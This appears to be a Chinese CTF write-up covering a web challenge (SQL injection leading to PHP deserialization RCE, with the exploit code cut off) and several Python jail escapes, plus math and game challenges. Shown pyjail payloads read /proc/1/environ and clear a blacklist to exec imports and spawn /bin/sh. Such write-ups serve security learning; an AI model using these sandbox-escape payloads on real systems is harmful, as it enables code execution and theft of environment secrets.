Web
给了docker,代码逻辑

mad,开局这里不是admin

这个函数有sql注入

找到逻辑

继续

| 1 | $view->arrayToMarkdown(unserialize(base64_decode($goods['data']))) | 

抓包,获取请求数据
从docker中可以看到,flag不在数据库里面,所以我们需要RCE,emm
这里有个反序列化
| 1 | <?php | 
直接网上找条链子就打通了

需要数组形式的
然后构造一个sql语句

exp:
| 1 | import requests | 
最后访问页面,触发反序列化

本地打一下,看见打上去了
直接RCE

MISC
Pyjail ! It’s myFILTER !!!
源码:
| 1 | # Python Version:python3.10 | 
直接打
| 1 | {"a"}' + print(open('/proc/1/environ').read()) # | 
Pyjail ! It’s myRevenge !!!
题目源码
第一步清除 blacklist,然后用 input 读入继续打
| 1 2 3  | {[list(globals().values())[-2].clear(),"{i""nput()}"][1]} {[globals()["__builtins__"].exec("import os"),"{i""nput()}"][1]} {[os.spawnv(0, "/bin/sh", ["sh"]),"{i""nput()}"][1]}  | 
|---|---|
Pyjail ! It’s myAST !!!!
题目源码,远程环境为 python 3.11
python 3.10 开始引入了 match 关键字,可以用 match 获取对象属性,用 unicode ﹍ 绕过下划线检测,用 bytes 转字符串和 len 构造数字绕过 ast 中的禁止常量,使用海象运算符绕过赋值,减小 payload 长度,虽然 1800 够用了 (
一.SpeedUp
 在这个网站直接记载了2的27次方的阶乘的每一位数字之和
在这个网站直接记载了2的27次方的阶乘的每一位数字之和
A244060 - OEIS

对4495662081取个sha256即可
flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}
石头剪刀布
他是贝叶斯预测,然后手搓序列,每次贝叶斯的预测的应该差不多,可以看最后一次结果,然后序列中改成赢过AI的出法加入序列,按照这个规律改就可以把分数逐步上升,最后达到260分拿到flag
| 1 | from pwn import * |